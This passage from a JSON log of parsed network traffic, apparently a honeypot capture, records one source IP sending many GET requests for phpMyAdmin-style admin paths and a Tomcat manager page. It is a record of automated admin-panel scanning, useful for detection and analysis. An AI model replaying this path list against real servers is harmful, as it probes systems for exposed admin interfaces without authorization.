          "event_id": "evt-05448feb18c0df2306f4ef3e",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2252,
          "timestamp_epoch": "1577256390.858602000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdm1n/index.php",
            "http.response_in": "2256",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdm1n/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b27611c4c32696d9607d4185",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2255,
          "timestamp_epoch": "1577256391.118097000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/shaAdmin/index.php",
            "http.response_in": "2259",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/shaAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ad6442d2cf47732d51ea2bb5",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2258,
          "timestamp_epoch": "1577256391.377653000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyadmi/index.php",
            "http.response_in": "2262",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyadmi/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-9fa23a43f40cdc41c4b29432",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2261,
          "timestamp_epoch": "1577256393.658362000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmion/index.php",
            "http.response_in": "2265",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmion/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2d7860eb41243489332064cb",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2264,
          "timestamp_epoch": "1577256393.925589000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/s/index.php",
            "http.response_in": "2268",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/s/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-15499dcf5a86b1b7e55261e4",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2267,
          "timestamp_epoch": "1577256394.764646000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/MyAdmin/index.php",
            "http.response_in": "2272",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/MyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-72c71c1ed4645c44b5acbf6f",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2270,
          "timestamp_epoch": "1577256396.400909000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin1/index.php",
            "http.response_in": "2275",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin1/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5a84d18af68c77e082f64b20",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2274,
          "timestamp_epoch": "1577256398.162835000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin123/index.php",
            "http.response_in": "2278",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin123/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a100165f0f8e84caf71adfb0",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2277,
          "timestamp_epoch": "1577256398.524749000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/pwd/index.php",
            "http.response_in": "2281",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/pwd/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a60fc30049486e8d14b12a36",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2280,
          "timestamp_epoch": "1577256399.260549000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmina/index.php",
            "http.response_in": "2284",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmina/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2f3c74c59ed0b262ff47ae89",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2283,
          "timestamp_epoch": "1577256399.520930000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMydmin/index.php",
            "http.response_in": "2287",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMydmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2002b4082e46191782196bf6",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2286,
          "timestamp_epoch": "1577256400.391241000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmins/index.php",
            "http.response_in": "2290",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmins/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-552c624aced08476ee320362",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2289,
          "timestamp_epoch": "1577256401.615964000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin._/index.php",
            "http.response_in": "2293",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin._/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-271f918b842b7d504778a789",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2292,
          "timestamp_epoch": "1577256401.891977000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin._2/index.php",
            "http.response_in": "2296",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin._2/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8a90b17f7d48750f3ba75585",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2295,
          "timestamp_epoch": "1577256402.932321000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmyadmin2222/index.php",
            "http.response_in": "2299",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin2222/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3628be9021b5191486df9aad",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2298,
          "timestamp_epoch": "1577256405.552418000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin333/index.php",
            "http.response_in": "2302",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin333/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e8cbf364b047a741207f9c7c",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2301,
          "timestamp_epoch": "1577256405.813137000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmyadmin3333/index.php",
            "http.response_in": "2305",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmyadmin3333/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a473eb3a58b1f10e40b5acbe",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2304,
          "timestamp_epoch": "1577256406.553728000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/php2MyAdmin/index.php",
            "http.response_in": "2308",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/php2MyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c5043e3c9280253ad865add0",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2307,
          "timestamp_epoch": "1577256406.814526000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpiMyAdmin/index.php",
            "http.response_in": "2311",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpiMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d50a9672ddbf8ac32b826d37",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2310,
          "timestamp_epoch": "1577256407.081539000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpNyAdmin/index.php",
            "http.response_in": "2314",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpNyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c3663fbd219871e1064f62d2",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2313,
          "timestamp_epoch": "1577256407.341401000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/1/index.php",
            "http.response_in": "2317",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/1/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d53ce20a1ce3aabe3bd47e60",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2316,
          "timestamp_epoch": "1577256407.601342000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/download/index.php",
            "http.response_in": "2320",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/download/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4ab06b698df53ce5d1136c73",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2319,
          "timestamp_epoch": "1577256407.861987000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin_111/index.php",
            "http.response_in": "2323",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin_111/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-45f98a9a14a06f0a10175de7",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2322,
          "timestamp_epoch": "1577256408.122528000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmadmin/index.php",
            "http.response_in": "2326",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f15d92db3bd5386fc9ff18d3",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2325,
          "timestamp_epoch": "1577256408.382120000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/321/index.php",
            "http.response_in": "2330",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/321/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1f0067388913b7459023efb7",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2328,
          "timestamp_epoch": "1577256409.170036000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/123131/index.php",
            "http.response_in": "2333",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/123131/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5c94ec2f93ff609df5d3331b",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2332,
          "timestamp_epoch": "1577256409.711506000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdminn/index.php",
            "http.response_in": "2336",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdminn/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c08a22df3e7aa36bca1b11a3",
          "src_port": 58705,
          "tcp_stream": 72,
          "udp_stream": null,
          "frame_number": 2335,
          "timestamp_epoch": "1577256409.996077000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdminhf/index.php",
            "http.response_in": "2347",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdminhf/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5c3277bb42468501bf27b921",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2345,
          "timestamp_epoch": "1577256425.836485000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/sbb/index.php",
            "http.response_in": "2350",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/sbb/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c1788dcee8754524dcc91c82",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2349,
          "timestamp_epoch": "1577256426.100896000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/WWW/phpMyAdmin/index.php",
            "http.response_in": "2353",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/WWW/phpMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-50e1bea445c284733d22836c",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2352,
          "timestamp_epoch": "1577256426.365124000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmln/index.php",
            "http.response_in": "2356",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmln/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-af36317d08fc5eb289f49520",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2355,
          "timestamp_epoch": "1577256426.653878000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpMyAdmin_ai/index.php",
            "http.response_in": "2359",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpMyAdmin_ai/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-987410ba337d9938b499c86a",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2358,
          "timestamp_epoch": "1577256429.188791000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/__phpMyAdmin/index.php",
            "http.response_in": "2362",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/__phpMyAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5c25b911dbb8a81afe03c10f",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2361,
          "timestamp_epoch": "1577256429.978119000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/program/index.php",
            "http.response_in": "2366",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/program/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-84b3d1b53edf1b088dc87da8",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2364,
          "timestamp_epoch": "1577256430.849266000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/shopdb/index.php",
            "http.response_in": "2369",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/shopdb/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-df47665a4e04ba879f2cca78",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2368,
          "timestamp_epoch": "1577256432.060527000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phppma/index.php",
            "http.response_in": "2372",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phppma/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-07e13d6ae92a4f66da6974ee",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2371,
          "timestamp_epoch": "1577256436.978543000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/phpmy/index.php",
            "http.response_in": "2375",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/phpmy/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-78eb70baa17dd39456ab2e8c",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2374,
          "timestamp_epoch": "1577256437.244396000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/mysql/admin/index.php",
            "http.response_in": "2378",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/mysql/admin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-351f17ea0eb28db5bb65d1b0",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2377,
          "timestamp_epoch": "1577256438.048093000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/mysql/dbadmin/index.php",
            "http.response_in": "2381",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/mysql/dbadmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1824185c9a38f4227d960ac8",
          "src_port": 65366,
          "tcp_stream": 73,
          "udp_stream": null,
          "frame_number": 2380,
          "timestamp_epoch": "1577256438.318492000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/mysql/sqlmanager/index.php",
            "http.response_in": "2389",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/mysql/sqlmanager/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d8c07cb33d62a6dc348ed5d4",
          "src_port": 51031,
          "tcp_stream": 74,
          "udp_stream": null,
          "frame_number": 2387,
          "timestamp_epoch": "1577256442.065417000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/sqladmin/index.php",
            "http.response_in": "2406",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/sqladmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e2971d97e248ca33006a87fc",
          "src_port": 51805,
          "tcp_stream": 76,
          "udp_stream": null,
          "frame_number": 2405,
          "timestamp_epoch": "1577256449.639041000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/sql/index.php",
            "http.response_in": "2409",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/sql/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-513762841178342415377f6b",
          "src_port": 51805,
          "tcp_stream": 76,
          "udp_stream": null,
          "frame_number": 2408,
          "timestamp_epoch": "1577256449.910199000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/SQL/index.php",
            "http.response_in": "2412",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/SQL/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-54c5a2f0697ccad22061860a",
          "src_port": 51805,
          "tcp_stream": 76,
          "udp_stream": null,
          "frame_number": 2411,
          "timestamp_epoch": "1577256450.178566000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/websql/index.php",
            "http.response_in": "2415",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/websql/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d61b86f774407de809f3d5e0",
          "src_port": 51805,
          "tcp_stream": 76,
          "udp_stream": null,
          "frame_number": 2414,
          "timestamp_epoch": "1577256450.448111000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
            "http.request.uri": "/MySQLAdmin/index.php",
            "http.response_in": "2418",
            "http.request.method": "GET",
            "http.request.full_uri": "http://128.199.64.235/MySQLAdmin/index.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4d7250a1dca87bd3d9925262",
          "src_port": 51805,
          "tcp_stream": 76,
          "udp_stream": null,
          "frame_number": 2417,
          "timestamp_epoch": "1577256450.716240000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0",
            "http.request.uri": "/manager/html",
            "http.response_in": "2421",
            "http.request.method": "GET",
